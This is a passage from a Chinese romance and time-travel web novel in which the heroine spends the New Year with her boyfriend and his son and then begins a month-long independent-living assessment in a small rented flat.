当然也有一小部分用户注意到视频里的两个男人。 周念自然不必说,虽然没露脸,但颀长的身材和明显霍格沃兹风格的穿搭都很惹眼。 而周念跟两只小猫玩得开心,地板只好由周廷之收拾。他脱了外套,挽起衬衫袖口,露出腕表和结实的手臂,只是从走廊经过,被镜头捕捉到一瞬,就叫网友们截了好多张图发在评论区里。 【不是姐妹?吃这么好啊?】 【听说男人手腕上有青筋,那里也会有,嘿嘿嘿……】 陶欣看到这条评论,立刻就把抖音删了,有点莫名的羞耻。 可是已经有人把这条抖音发到匿名群里。 【咱少爷!挖去!大长腿!】 【啊啊啊啊啊啊啊啊猫猫好可爱——就是不能细看】 【不是吧?!真在一起过年啊?难道已经结婚了嗎?】 【所以ztz无名指上戴着的戒指真是婚戒啊?就这么悄无声息的结婚了?婚礼都不办?我不信,感觉ztz干不出来这种事啊,太不负责任了吧 】 【现在未婚同居也正常,问题是没结婚怎么还在一块过年】 【你们对ztz还是有滤镜,这都啥样了,明摆着大小姐家里不同意,他就把人诱拐出来同居,叫人跟家里决裂,过年都不回去!就这还能嗑起来?】 【嗑cp管你鸟事,老娘愿意[中指]少在这仗着是匿名群就瞎造谣[中指]】 【就这么一段视频都能扯到诱拐上?群里难道除了梦女还有黑粉?成份这么复杂吗?】 【真当粉圈了我说?回头是不是还得蹦出来几个毒唯?】 【我笑死,又不是你们骂ztz的时候了】 【不知道你们老吵什么,这瓜吃得我越来越难受,我们本来不就是好奇ztz到底是不是在谈恋爱吗?不就是觉得ztz开会的时候被女朋友信息轰炸挺好玩的吗,至于为这个真情实感的吵?】 【[图片]默默路过的ztz……】 【其实我也不知道你们怎么想,能进这个群的起码都是在hs工作八年以上的老员工了吧?是,企鹅群,不知道账号背后都是谁,可群里有谁大家都心知肚明啊!大过年的,咱们摸着良心说,在hs这些年,ztz对我们怎么样?团建,聚餐,结婚,怀孕,生孩子,为了孩子请假,这些事上够不够照顾?】 【ztz这些年自己又是怎么过来的?大家心里都清楚,前些年基本上都是住在公司里,除了工作就是工作。我们为什么那么想知道他谈没谈恋爱?最初的本意不就是盼着他能早点成家吗?话又说回来,ztz自从谈了这个小女朋友之后是不是有活人气了?天天陪女朋友出去吃饭,看电影,放烟花,还那么骚包的换头像,这不挺好的吗】 【↑这是正常人】 【支持,我也觉得挺好,单看小老板娘发的抖音,人家相处的挺好,过得挺幸福,讲老实话我看着都有点嫉妒,年轻漂亮又开朗,有ztz这级别的男人宠着,咱少爷又好相处,还能陪着玩,人生赢家了】 【欸,小老板娘咋把抖音删了呢,不会群里出内鬼了吧?】 【那不能,以我们这尺度,群里出内鬼ztz八成早找上门来了】 【幸好我是直接把视频发到了群里,哎,再欣赏一下咱少爷的小细腰大长腿吧】 【这身材是真好啊,一看就随他爸】 【话说ztz家好像就他们三个人的样子,太冷清了吧,都没亲戚一起过年吗?那岂不是连一桌麻将都凑不成?!】 【↑川渝人民】 三个人过年的确稍显冷清,尤其是陶欣还不会斗地主的情况下,他们三个在家里唯一的集体活动就只剩打和平精英。 周廷之度过新手期,进步飞快,已经可以独当一面,陶欣虽然不太擅长打游戏,但也可以做到不拖后腿,只是偶尔紧张起来会有点嘴碎,不想落地成盒的时候嘴格外碎。 “救我救我救我这有脚步声我还没找到枪呢!啊啊啊啊要上来了要上来了我死定了!啊啊啊啊他上来了——” 砰一声响,陶欣倒地了。 这会不是嘴碎,是心碎:“妈呀,喷子……” 陶欣每一局都是自己脱离队伍,躲到远一点的地方捡装备,谁都没想到她会遇到一个独狼,周念和周廷之听到她喊救命就往那边赶,可还是没来得及。 周念扫了眼她手机,见她在顶楼的平台上,对方正不紧不慢地装子弹准备补枪,忙说:“你开麦求求他。” “能行吗?!” “总比落地成盒强。” 陶欣闻言立刻开了公共麦:“别开枪别开枪,求你了大哥,放过我吧,我这就爬——” 大概听她声音是个小姑娘,对方也开麦了,二三十岁的样子,有点烟嗓:“给哥唱个征服我就放过你。” “OKOK我现在就给你唱啊。”陶欣清清嗓:“终于你找到一个方式分出了胜负……” 喷子大哥:“啊?” 陶欣:“输赢的代价是彼此粉身碎骨……” 喷子大哥:“不是?你从头开始唱啊?” 陶欣:“你不是让我唱征服吗?” 喷子大哥:“行行行算你厉害,你队友来了吧,接着往下爬吧,我撤了。” 喷子大哥还挺信守承诺,没有补陶欣这一枪,陶欣差一点成盒的时候被及时赶到的周廷之扶起来了。 “呜呜呜我差一点就挂了啊哥哥,靠出卖尊严才苟活下来啊哥哥。” “等会找他报仇。” 周廷之报复心理极强,从滑雪那天他满大厅找橙上衣就可见一斑。 这一次开着车又满地图找喷子大哥。 圈缩了两次,灭了两个全队,没见到人。 陶欣看淘汰的玩家越来越多,不由说:“他不会已经死了吧。” 周念推断:“不能,房区拿喷子还能放你一马,应该挺会玩的。” 话音未落,一梭子子弹打在了车上,周念赶紧把车开到谷仓后面,下车躲起来观察:“好像是那个征服啊,一队人,我去,有狙。” 周廷之:“报点。” 周念:“一队人守打靶楼,狙好像架在三楼了,不过这狙水平不行啊,这都没打到我。” 决赛圈缩在房区,对面占据易守难攻的打靶楼,他们则是很容易暴露在外的谷仓。 “狙不行就封烟直接上吧,你是不是捡了好多烟?”周廷之问陶欣。 “超多,我背包里全是烟和雷。” “人体描边大师一般都爱捡雷,知道为什么吗?” 明知道他没憋什么好话,陶欣还是问:“为什么?” 周念笑着说:“因为心存幻想,万一扔出去要炸倒一个呢。” “哼哼,我今天要是炸倒一个怎么办?” “你要是能炸倒一个,我就给你唱征服。” “我今天一定给你安排一个春晚特别节目!” 谷仓离打靶楼并不远,短短一段距离,封了五个烟,哪怕对面扫射也还是让三个人摸到了楼下。 周廷之玩游戏也喜欢做攻略,直接从外墙爬上了三楼,打了三楼的狙击手一个猝不及防,被周廷之一枪补掉。 而陶欣趁机在墙外左一个雷右一个燃/烧瓶,每一个都精准的扔进了二楼窗户里。 不仅炸倒了守楼的喷子大哥,也炸倒了攻楼的周念。 眼睁睁看着自己被燃/烧瓶烧死,周念:“你……” 陶欣:“你们穷人才精准打击,我们有钱人一向火力覆盖。” 周廷之解决掉跑到三楼的最后一个人,轻舒了口气,偏过头问:“春晚特别节目什么时候开始?”【你现在阅读的是魔蝎小说 moxiexs】 60-70 第61章 第61章她没急着收拾行李,先连…… 春晚比陶欣想象中还要无聊,节目播了六七个,最精彩的竟然是周念的春晚特别节目。 陶欣实在忍不住,到“2021帮扶陶欣工作群”里吐槽。 【观察員小曼:你就是跨度太大了,像我们一年一年过来早都习惯了】 【记录員盼盼:不过还是每一年都能刷新下限】 【安全員赵哥:小时候其实还挺爱看春晚的[擦汗]】 【陶欣:好无聊……】 【组长陈平:那我说个有聊的事吧】 【陶欣:安?无聊的反义词能是有聊嗎?】 【观察员小曼:[大胆狂徒jpg.]】 【组长陈平:还有三天就是考核期最后一个月了[微笑]】 陶欣猛地从沙发上坐起,吓了一旁正在喝椰子水的周念一跳:“你幹嘛啊,一惊一乍的,差点呛着我。” “啊啊啊——”陶欣穿上拖鞋,直奔厨房:“完蛋了啊!” 周廷之在厨房准备待会包餃子要用到的餃子馅,看她这样子跑过来,神情一瞬间凝重了,也有被吓到,不过还是轻轻把刀放在菜板上,等着她把话说完。 “我忘了,今天已经是十一号!”顾忌着客厅的周念,陶欣压低声音:“十五号开始就是最后一个月的独立生活考核期了啊。” 第二次考核时间是十二月十四号,一轉眼,今天已经是二月十一号,因为二月只有二十八天的缘故,距离陶欣最后一次考核仅剩下三十二天。 陶欣真觉得时间过得太快了,她脑子里还总觉得自己刚过完生日没两天,离独立生活考核期应当还有小半月才对。 “现在不是放年假?”周廷之松了口气,同样略感意外:“我以为会顺延到年假结束。” 陶欣解锁屏幕,给他看了眼群里的消息。 【组长陈平:独立生活的具体规则初三发给你,珍惜眼下无聊且平淡的 幸福生活吧[玫瑰]】 【观察员小曼:刚收到了独立观察期的排班表,局长过年还在加班[哭]】 【安全员赵哥:真是一个好官[抱拳]】 【组长陈平:[微笑]】 【记录员盼盼:空气里似乎弥漫着加班的怨气】 【安全员赵哥;哎,难怪都说咱们单位闲起来能闲出屁,忙起来脚打后脑勺,这排班表……从大年初三加班到二月二龙抬头啊[我碎了jpg.]】 【观察员小曼:[小嘴巴闭起来jpg.]】 周廷之扬了扬眉:“这么一看他们好像比你更惨。”因为手上沾了油脂,他抬着手腕把陶欣虚拦到怀里,安慰她说:“没事的,只是到外邊住一个月,一轉眼就过去了。” “我倒不是怕自己一个人在外邊住……我之前不是说过嗎,陈平要制裁我,要在最后一个月见真章,万一我要是不能通过独立考核,就又要延长三个月……”陶欣扒着周廷之的衣服,埋进他怀里,哭唧唧的样子:“我不要延长了……我不要再天天打报告了……” “放心,陈平也就是那样说说,他能怎么制裁你?总不会把你赶去住桥洞吧?” 周廷之一说住桥洞,陶欣又不禁笑出声:“那倒不至于吧。” 周廷之用手腕蹭一蹭她的肩:“就是啊,再说还有我呢,你怕什么。” 周廷之有一种能讓人迅速心安下来的魔力,叫他这样一安慰,陶欣好受多了,暂且放下对未来一个月的担忧,轉而看向厨房岛台:“你在剁肉馅啊,不是有那个搅馅机?” “用菜刀剁的肉馅更好吃。” “那我帮你!” “不看春晚了?” “太太太太无聊了。”陶欣更轻声:“我真后悔,白天跟周念说什么情怀,硬着头皮看半天。” “喂,说我什么坏话呢。”周念不甘寂寞,也跟着凑到厨房来。 “说你懒,不幹活就等着吃。” “我又不会包餃子……” “不会可以学啊,周总难道是天生就会的嗎?” 周廷之微不可察地叹了口气,心里很清楚,本来半个小时之内就能吃上的餃子,现在恐怕要拖到一个小时后了。 可这是幸福的烦恼。 三个人在厨房折腾了一个小时,终于吃上形状不一并且大部分都漏了馅的水饺。虽然卖相不好,味道也一般,但周念和陶欣分别在自己的饺子里包了一毛钱硬币和奶糖,为了吃到新一年的好兆头,两个人都非常卖力。 周廷之把清蒸东星斑端到客厅的时候,两个人已经吃光一盤奇形怪状的饺子。 “还没吃到嗎?” 陶欣两腮鼓鼓的摇摇头,指一指电视,过一会才咽下嘴里的饺子说:“这小品,居然到现在一个笑点都没有……” 周廷之看了眼电视,又看向茶几,茶几上摆着几道菜,两盤饺子,碗筷,饮料,红酒,几个杯子,一盘零食,一盘水果,凌乱又热闹。 虽然简单,但也算年夜饭了。 周廷之拍了张照片,才在沙发上坐下。 陶欣终于彻底打消对小品最后的期待,转过身专心吃饺子。 周廷之也夹了一个饺子放到碗里,只沾了点醋。 一口咬下去,却是甜的。 他微微一怔,反应过来时嘴巴里只剩下一颗略有些坚硬的奶糖。 “……我吃到了。” 两个人同时看向他。 奶糖在口腔中逐渐融化,甜的发腻。 周廷之笑了笑,看着陶欣说:“你包的奶糖。” “哇,我吃了小半盘都没吃到!你第一口就吃到了!这也太幸运了吧!” “嗯……” 命运眷顾的瞬间,一生能有几次。 周廷之含着那颗奶糖,嘴角扬了起来:“喝一杯?” 他的眼神,讓陶欣莫名的脸热,含糊地说了声好,就移开视线伸手去拿杯子了。 周念全然没有感觉到气氛的变化,一门心思要把硬币吃出来,可撑得裤子上的纽扣都解开了,愣是没吃到那个硬币。 “不是吧——我把我包这一盘都吃没了——” 周廷之看他撑得都坐不直了,抿了口红酒说:“有没有可能在锅里。” 周念睁大眼睛,起身跑去厨房,很快传来一声惨叫:“不是吧——漏出去了——” 陶欣捂着嘴巴偷笑,因为喝了酒,脸颊红扑扑的:“我早猜到啦,都没吃了。” “比春晚有意思。” “嘘……” 周念盛了碗饺子汤回来,他说这就算他吃到了。 …… 初二上午,周廷之带着陶欣和周念一起去看房。 考虑到地理位置和附近一些商业配套,在周廷之目标范围内的房子只有三处,而陶欣和周念都统一选中了坐落在山脚下的那栋公館。 这里的确宽敞,明亮,尤其是前天刚下过一场大雪,每一扇窗户外都是冬季的山景和树景,配合着晴朗的天气,有格调的装潢,讓这栋公館看起来有种精致又不冰冷的温馨,让人可以想象到以后住在这里的场景。 三个人意见统一,很快就敲定了,掮客喜得不行,立誓不让周廷之费一点心,他跑香港去和房主交涉,绝对把价格杀到合适。 公館的出售价格高于市场价,周廷之也不是冤大头,能省下几千万自然好,便叫掮客先去谈,商量的差不多了他再让律师过去办过户手续。 在外邊吃了顿饭,回家的时候已经很晚,各自上楼,回房间去洗澡换衣服。 周念洗澡很快,裹上浴衣出来习惯性的拿起乳液擦脸,可刚一揉就感觉到刺痛。不用想也知道,今天在外邊花园转悠太久,冬季幹燥,风又硬,脸都吹成干面包了。 翻翻柜子,之前陶欣拿给他的面膜都用完了。 脸干的时候敷片面膜其实还挺舒服,周念这样想着,在群里发消息,找陶欣要面膜。 陶欣叫他上去拿。 对于陶欣,周念其实是有意识避嫌的,他特意换了睡衣上去。 陶欣打开门,还穿着从外边回来那套衣服,递给他一整盒面膜:“还挺爱美。” “脸实在太干了,这是补水的吗?我不会过敏吧。” “是补水的,怕过敏就先涂一点精华液在耳朵后面。” “哦。” 周念拿了面膜,转身下楼,刚走到楼梯口忽然听到陶欣的声音,模模糊糊的,似乎提到“独立”“考核”之类的字眼。 他心中一动,停下脚步,靠在墙边。 房门没有关紧,房间里的光线和声音一同倾斜出来。 陶欣对电话那边的小曼说:“所以陈局长的意思是什么,总不会把我发配边疆吧?” 小曼:“他可能是怕我给你透底,会议上也没说,反正要素只有一个,就是要对你的监護人严防死守。” 陶欣笑笑:“只要不把我发配出去就好了,我可不想一个月都见不到周廷之。” “你看,我觉得这就是局长想制裁你的根本原因,你未免也太依赖监護人了。” “哪有啊,他不止是我的监護人,也是我男朋友啊,难道你愿意和你男朋友异地一个月吗?” “话是这样说,可在我们这边,周廷之的第一顺位就是你的监护人,过于依赖监护人本质上就是社会化不达标。” 陶欣重重说:“谬论!” 小曼笑起来:“那你就证明给局长看吧 ,我只能给你透底到这里,你独立考核期的评分,跟你的监护人息息相关。” “我懂了,意思是我想拿高分,就得尽可能不找周廷之,对吧?” “这么理解也可以吧。” “哎……” “好啦,别唉声叹气的,你这样我都想给她打个低分,精神一点啊!乐观积极!一个月很快就过去了。” “好!乐观积极!” 陶欣大概把电话挂了,又长叹一口气。 浴室门打开,周廷之说:“怎么了,可怜巴巴的。” “我在反省,我可能确实是对你太依赖了,怎么还没有搬出去自己住呢,就开始想你了……” “别天天往我嘴里塞甜言蜜语了,我要控制一下血糖。” 周念光着脚,悄无声息地下了楼。 …… 翌日中午,正吃着午饭,陶欣收到一条消息,解锁手机怔怔地看了会,忽然发出一声哀嚎:“啊——” 周廷之毫不意外,只将她的手机拿过来看,笑一笑,拍拍她的肩膀:“没事。” 陶欣憋着嘴,像家里遭了贼,吃饭都吃出一种味如嚼蜡的感觉。 周念喝掉最后一口汤,站起身说:“你们慢慢吃吧,我饱了。” 周廷之看向他:“吃这么少?” 周念说:“跟李乐泉约了一点上线打游戏。” 周廷之看了眼时间,已经是十二点五十,没再说什么。 周念跑上楼,又慢慢下来。 陶欣哭唧唧的,声音不大,是刻意压制着说话的音量:“陈平好狠的心啊,只准带一个行李箱的东西,哥哥,这是冬天啊……难道要我一个月只穿一件大衣吗?” 周廷之轻声安慰,出谋划策:“现在有那种真空压缩的收纳袋,实在不行,你可以穿在身上。” “那这条呢,独立考核期全部生存资金为五千元,包含房租水电话费等一切日常所需,你知道为什么里面有话费吗?这一个月我必须用管理局给的手机,也就是说我想联网,就得自己交话费办一个流量套餐。” “没关系,我现在下单一个随身wifi,慢慢想还需要什么,我们有一下午的准备时间。” “可是,陈平没给我安排住处啊,是要我自己租房子的意思吗?我去哪租房子?现在房屋中介应该都还在放假吧?枕头呢?被子呢?床垫子呢?呜呜呜呜呜……陈平好狠的心啊……他怎么不把我投放到原始森林,让我野外生存啊……” “没事的宝宝。”周廷之说:“你放心,他会给你安排住处的,只是大概率要走一趟你自己租房子的流程,你想啊,真叫你出去租房子,押一付三,还要付中介费,这五千块钱完全不够。” 陶欣情绪好转:“有道理……” “以陈平对你的了解,他安排的住处一定不会太差,最多就是小一点,紧凑一点,还是比野外生存强。” “那也很完蛋啊,我的车也不能开,这点钱,出门就不能打车了……要坐公交地铁吗……难怪陈平说我不够独立,我都还没做过公交地铁呢……” “这和独立没关系,是生活环境的问题,难道你十八年前做过公交地铁吗?” “那时候哪来的地铁啊,不过我确实也没坐过公交……” 周念握紧手掌,指甲嵌入掌心时的疼痛感明确告知他,这并不是梦。餐厅传来的对话,印证了他心中离奇的猜想。 可他面前还有一团巨大的疑云。 如果陶欣来自十八年前,为什么会和周廷之扯上关系,为什么周廷之会成为她的监护人。 周念没有继续听下去,他回到房间,拿起床头妈妈的照片。 十八年前,他出生。 他的生日是妈妈的忌日。 家里为什么没有一张十八年前的照片。 周念想不通,可他知道,答案近在眼前。 …… 初四一早,赵哥和小曼拎着行李箱来了家里。 陶欣看到他们俩,看到行李箱,直接露出了崩溃的表情,像小孩子耍赖皮似的趴在了沙发上:“我不管我不管,也没说要用你们的行李箱啊。” 管理局的行李箱是一个非常标准的二十四寸行李箱,放在陶欣的三十寸行李箱前,可以说是小巫见大巫。 赵哥用尽全力拎了一下那满满当当的大行李箱,行李箱才勉强离地几公分:“豁——你也要考虑一下自己能不能拎得动吧,这得有两百斤?” “呜呜呜呜呜……” “哭是没用的陶小姐,迟早要面对,赶紧捡自己需要的东西装进去吧,房子还没定下来呢,难道你想花钱住酒店吗?一晚上可是三五百块啊。” 周廷之给赵哥小曼倒了茶,笑着说:“现在这个情况很像在录制爸爸去哪儿。” 小曼深以为然:“我也这么说呢,陶小姐,你看过爸爸去哪儿吗?就当录综艺了,一个月很快就过去了,耍赖要扣分啊,这次不过还得再来一个月,你可要想好。” 这种时候,威胁远比安慰有用。 陶欣从沙发上爬起来,哭丧着脸,重新整理行李。 当着赵哥和小曼的面,周廷之没有帮她,也不能帮她。 可问题是,周廷之是花了很多心思,才将陶欣之后一个月所有生活必需品都装进了这个三十寸的行李箱。 本身陶欣要把里面的东西转移到二十四寸的行李箱,就要做出一部分割舍,她自己收拾,又做不到那么严丝合缝。 第一次尝试后,陶欣看着满地被割舍掉的物资,果断选择重来。 周廷之忍不住提醒:“就当自己是去重装徒步,只拿……”他话没说完,注意到小曼的视线,以及两个人胸口挂着的记录仪,停下了,闭口不言。 很显然,管理局对陶欣独立生活的考核,完全没有考虑陶欣从小到大的物质条件,又或者说管理局希望陶欣能有将来遇到变故也可以好好生活下去的能力。 不管出于什么目的,这一个月独立生活,对陶欣而言就是叫她去吃苦受罪。 正如小曼所说,这次过不了,还得再来一次。周廷之当然不希望因为自己的干预害陶欣再吃一次苦。 “装好了吗?” “差不多吧……” “那脱一件吧,谁家好人穿两件羽绒服出去?我劝你就穿外边这件羽绒服吧,黑色的,抗造。” 陶欣根本没有黑色的羽绒服,这件也是她考虑到抗造,连夜管周念借的。 默默脱掉里面那件,陶欣看向小曼和赵哥:“这样可以了吧?” “可以。”赵哥笑笑:“那咱们出发吧,你说目的地,我免费送你过去。” 等等。 不是说陈平会给他安排住处吗? 一定会的,只是她要通过中介找房子。 那找房子首先要考虑到……肯定不是离男朋友近一点就对了。 陶欣深吸了口气:“你送我到武术馆吧。” 小曼闻言眼睛一亮,悄悄给她竖大拇指。 等陶欣提着行李出门了才对周廷之说:“我本来还担心她要在你公司附近找房子,那可就糟了。” 华视总部位于商圈中心,方圆十公里布满了打工人,房租高得离谱,陶欣要想跑到那去找房子,且得折腾几天。 周廷之笑了笑:“不会,她很聪明的。” 陶欣知道要想不吃苦受罪,钱是最关键的,眼下能让她赚到钱的地方只有武术馆,而武术馆位置比较偏,房租一定在她能负担的范围之内。 陈平给她安排的住处,距离武术馆仅有五百米。 在陈平的计划里,不管陶欣一开始打算往哪折腾,兜里那五千块钱不够用了,肯定要想到赚钱这一步,最后还是会回到武术馆附近找房子。 陶欣一开始就想到赚钱,让陈平很欣慰。 “陶小姐。”假中介把她领到事先安排好的住处门口,很有模有样地说:“这套房子是我手头上唯一一个可以短租的,也符合你的要求,绝对干净,没有小虫子什么的。” 他一边说着一边打开门锁,推开门:“进来看看吧。” 极小户型,最多四十平米,厨房卧室客厅都在这一室里,有个狭窄的小浴室,勉强可以淋浴,但需要站在那一动不动的淋浴,因为压根就不能动。 陶欣:“……” “陶小姐?”中介看着她,引诱:“一个月房租才一千二,很干净的,你看看床垫,也很厚实哦。” 陶欣知道除了这套自己不可能再找到更好的了,点一点头,挤出 微笑:“房租一千二,中介费多少?” “因为是短租,中介费我只收取二分之一,你和房东一人一半,也就是三百块,如果可以的话咱们就签合同。” “好,那就签合同吧。” 陶欣用了一上午时间,找到了自己的住处。 小曼将管理局准备好的手机交给她,同时收走她的手机。 “……这手机没有监控什么的吧?” “那绝对没有,我们可是正经人,怎么会侵犯你的隐私啊,不过……你的消费记录,支出啊,转账啊,我们都会定期检查。” 生活不易,陶欣叹气。 “别垂头丧气啦,你今天找房子表现的很好啊,绝对可以拿到满分,第一天就满分欸,多好一个开始!积极!” “我先适应一会再积极……” 小曼其实可以理解陶欣,别说陶欣了,叫她来这住她也未必能迅速接受:“……那你慢慢收拾吧,我先走了。” 陶欣有气无力地把她送出门:“拜拜……” 关上门,小小的一居室里就剩陶欣自己一个人。 她没急着收拾行李,先连上网,添加了周廷之的微信。 【周廷之:还好吗】 【陶欣:[视频]】 【周廷之:总比大学宿舍好很多[摸摸头jpg.]】 【陶欣:房租一千二,中介费三百,目前余额3500】 【陶欣:我还需要买床被子,枕头……】 【周廷之:晚上我去陪你睡,枕着我】 【陶欣:这个床,你只能做床垫[愉快]】 第62章 第62章这是得到延续的热恋期,…… 陈平虽然狠心,但也考虑了实际情况,给陶欣的住处做了很彻底的全屋清扫,还换了个蛮不错的新床垫,整体谈不上条件优渥,也没到让陶欣一进来就打退堂鼓的地步,属于是分寸掌握的刚刚好。 老奸巨猾啊老奸巨猾。 陶欣躺在床垫上,看着白花花的天花板,终于挣扎着爬起来。 积极!向上!乐观!一次过! 就算周廷之愿意充当她的枕头,周廷之本身也是需要一个枕头的,当务之急,是要買枕头和被子。 网上買是来不及了,只能去超市。 小超市估计也不会有被子…… 陶欣拿出手机,用导航搜索附近的大型商超,发现距离她最近的一家商超也在四公里外。 救命啊——武术馆原来这么偏吗?! 四公里是一个非常尴尬的距离,要是五公里,陶欣就不犹豫,直接坐公交或者地铁了,大不了多走个几百米。 可是四公里打車是二十塊,二十塊她还是能负担得起…… 对了,还要回来呢,回来拿着被子和枕头,更要打車了,那岂不是只去一趟超市,光路上就要花掉四十塊啊…… 陶欣算完账,看看自己手机里的余额,老老实实去路边等公交了。 坐公交車并不难,搭乘哪路车,从哪上,到哪下,导航上标注的非常清楚。 上了车,扫乘车码,顺利找到位置坐好,陶欣轻轻舒了口气,拍照给周廷之。 周廷之大概一直拿着手机,秒回复:【是要去超市吗?】 【陶欣:嗯嗯】 【周廷之:下车记得也要扫码】 【陶欣:[收到jpg.]】 【陶欣:[图片]】 【陶欣:坐在我前边这两个阿姨发型好炫酷】 【周廷之:感觉我好像养了一只小青蛙】 【陶欣:神莫意思?】 【周廷之:有个很治愈的游戏叫旅行青蛙[可爱]】 陶欣上网搜索了一下,被可爱的小青蛙萌到,看看自己一片灰的头像,举起手机拍了张照片替换,然后才回复周廷之:【我会多多给你寄明信片的[幸福]】 【周廷之:每天可以收到一百张明信片吗?】 【周廷之:现在就想你】 【陶欣:我也想你[哭]】 【陶欣:明明离的这么近,怎么有点像异地恋】 【周廷之:因为不能见面……】 虽然周廷之说晚上要来陪她睡,但两个人心里都清楚,陈平制定的规则大部分都是在针对周廷之这个监护人,过于频繁的和周廷之见面一定会影响陶欣的评分,想让陶欣独立生活的考核一次过关,就只能尽量减少见面。 还有二十九天。 不过这个月只有二十八天还真是挺好的。 公交到站,陶欣扫码下车,不忘给周廷之拍张照片:【顺利抵达!】 【周廷之:这家超市卖的东西可能会有点贵】 【陶欣:?】 【陶欣:让我看看能有多贵】 独立生活的第一天,陶欣才发现自己以前去超市買东西原来是不看价格的,她怎么也没想到超市里随随便便一个枕头就要两百塊,冬天盖的被子最便宜的也要三四百。 【陶欣:QAQ好贵】 【周廷之:枕头被子不能省,可以買贵一点的】 【陶欣:我决定了,明天就去武术馆,还是要赚钱才行】 除了枕头和被子,其他东西没那么紧急,陶欣就不舍得在超市里买了,这两样东西都不算重,回去她也没有按照计划打车,仍然选择坐公交。 大年初五,哪哪都还很热闹,她一个人从公交站往家走,被衬托的略显凄凉。 好不容易走到家门口,更惨的事发生了。 【陶欣:啊啊啊啊啊啊啊啊】 【周廷之:……是不是没带钥匙】 使用了这么长时间的智能门锁,陶欣已经失去了带钥匙的习惯,甚至心细如周廷之,都是在她发来消息那一瞬间才忽然意识到这件事。 找人开锁,余额立减一百二。 本来是只收一百的,因为大年初五,开锁师傅正在和一大家人吃饭,给了陶欣两个选择,要么等一小时,要么花二十块钱加急。 楼道里怪冷的,人来人往难免有异样的目光,这个时间倒是可以去吃个饭,可陶欣实在不想拎着被子枕头到处走,只好多花这二十块钱加急费。 饶是这样也等了将近半小时。 开了锁,进了屋,铺了床,再简单整理一番,时间已经来到下午两点,陶欣早就饿的肚子咕咕叫。 拥有独立生活能力的人应该可以做到按时吃饭,保证一日三餐。 陶欣坐在行李箱上,思考着吃什么。 周廷之发来微信:【我看地图,小区北门外有一家石锅拌饭,几个软件的外卖评价都很好,应该很幹净,你可以试试那家的海带汤,吃饱了心情会好一点[可爱]】 周廷之最近经常发这个emoji小黄豆的表情,弯弯的眼睛,紅紅的臉蛋,笑起来的样子非常可爱。 陶欣这个账号里没有表情包,也用emoji回复他,同样是 笑臉,只是多了三颗小紅心。 真像异地恋啊,上一次这样…… 刚这样一想,就收到了周廷之的消息。 【周廷之:上一次这样还是大二放寒假的时候】 陶欣笑起来。她和周廷之拥有着共同的回忆和感受。 记得当初他们俩刚谈恋爱不久学校就放假了,她和周廷之都不想回家,找了一大堆借口赖在学校,可临近过年,还是得各回各家。 那时候是2002年的年初,一部诺基亚手机顶普通人一两个月的工资,周廷之为了和她联系,把从小到大一直没舍得动的两只小猪猪存钱罐给砸了,加上之前在学校勤工俭学的工资,硬凑出了两千四百块钱,买了人生中第一部手机。 分开的那半个月,他们发了好多好多简讯,本来陶欣还不太擅长用九宫格打字,就因为跟他互发简讯,到后期简直可以闭着眼睛盲打。 不过那会发简讯是一毛钱一条,每天发个一百条就是整整十块钱,话费对周廷之而言也是一笔不小的开支,所以他每次都是写信一样,要发很多字,为了把这一毛钱发够本,连邻居家的小狗偷吃年夜饭挨打的事都要详细描述一番,以至于明明没有图片,陶欣却好像能看到当时的画面。 思及此处,陶欣忽然想起来,自己掉进时空裂隙的那个月,移动出了短信套餐,五十块钱可以发一千条,周廷之听说这件事还很高兴,马上就去移动大厅办理了,他说这样等她暑假回家就能随便发短信了,可以省下一半的钱。 那个月的一千条短信,他大概才发了十几条。 【陶欣:QAQ好想你】 【周廷之:别说了,我要忍不住过去了】 这是得到延续的热恋期,禁不起半日分离。 那十八年的分离呢。 莫名的,陶欣又想到不久前的假设——如果当时掉入时空裂隙里的人是周廷之。 陶欣害怕十八年的孤独和寂寞,害怕长久的分别,可如果是周廷之,她愿意等,也必须等。 老板把石锅拌饭和海带汤端上桌,又送了陶欣一碟小菜。 陶欣照旧拍了照片,发给周廷之。 【周廷之:看着真不错】 【周廷之:记得要拌匀一点】 周廷之在这,一定会帮她拌匀,她只要坐在这里等着吃就好了。 果然还是太不独立。 【陶欣:你在幹嘛?】 【周廷之:[图片]】 看着周廷之发来的图片,陶欣臉颊微微泛紅。 这个时间,他躺在床上,枕边是她今早脱下没有整理的睡衣。周廷之不是喜欢整天赖在床上的人,也不是睡衣放在床上不知道收拾的人。 他拍这种照片,是要告诉她——我在想你。 【陶欣:我的小床床QAQ】 周廷之看着手机,深吸了口气,可还是觉得胸口闷闷的,有一点难以言喻的痛感,类似于胃动力不足。 和旁人说,旁人大概不会相信,他自己也觉得不可思议,竟然真会因为陶欣发一个委屈的表情就这么不舒服。 还有二十九天。 真是万幸这个月只有二十八天。 要是这次不能顺利通关,考核期延长三个月,那下一个独立生活考核期就是三十二天。 他不能去找陶欣。 管理局排班表那么满,二十四小时都有人盯着陶欣的动向。 周廷之想了想,在聊天框里输入…… 陶欣饭吃到一半,收到周廷之的消息,只有四个字——【晚上視频】 现在真好哇,还可以用手机打視频。陶欣准备这样回复,可一手吃饭,一手打字,动作就稍微慢一些,没等她输入完,周廷之又发来一张图片。 是她的小床床,紫色床单。 当然,重点是床上那几样她之前买的小配饰。 毛绒绒的粉白色猫耳发箍,白色蕾丝蝴蝶结铃铛项圈,还有一条长长的粉色飘带,绑在身上,打个蝴蝶结,就像精心包裹的礼物,最后那一层装饰。 陶欣微微一怔。 这些东西其实已经买了一段时间,可周廷之一直没有戴过,不知道为什么,比起熊链项圈,黑白蕾丝的女仆装,他更难接受这种粉红色的,把自己打扮成小猫咪的饰品,陶欣只是把发箍拿起来,他就脸红的要滴血了。 这几件小饰品为此压了箱底,若不是周廷之拿出来,陶欣都快忘记。 【周廷之:晚上戴给你看】 【陶欣:[跳跳][跳跳][跳跳]】 【周廷之:开心了?】 【陶欣:[色][色][色]】 【陶欣:这日子终于有盼头了[大哭]】 【周廷之:在里边好好表现,出来以后什么都听你的】 【陶欣:天——啊——】 【陶欣:这简直是吊在我前边的胡萝卜嘛】 【周廷之:[可爱]】 周廷之笑笑,又看了眼床上的小饰品,耳朵不受控制的被血色染红,蔓延到脸上。 把零零碎碎的小东西重新收起来,周廷之注意到时间,才刚刚两点半。 放年假,不用工作,他本来还嫌时间过太快,轉眼就初五了,可现在……倒不如早点复工。 …… 晚上七点,陶欣准备洗澡的时候才想起来没有浴巾和吹风机,见脱下来的衣服要洗,才想到自己只买了洗衣液,却没有考虑过衣服洗好了怎么晾晒。 上网搜索晾衣架,又消费四十五元。 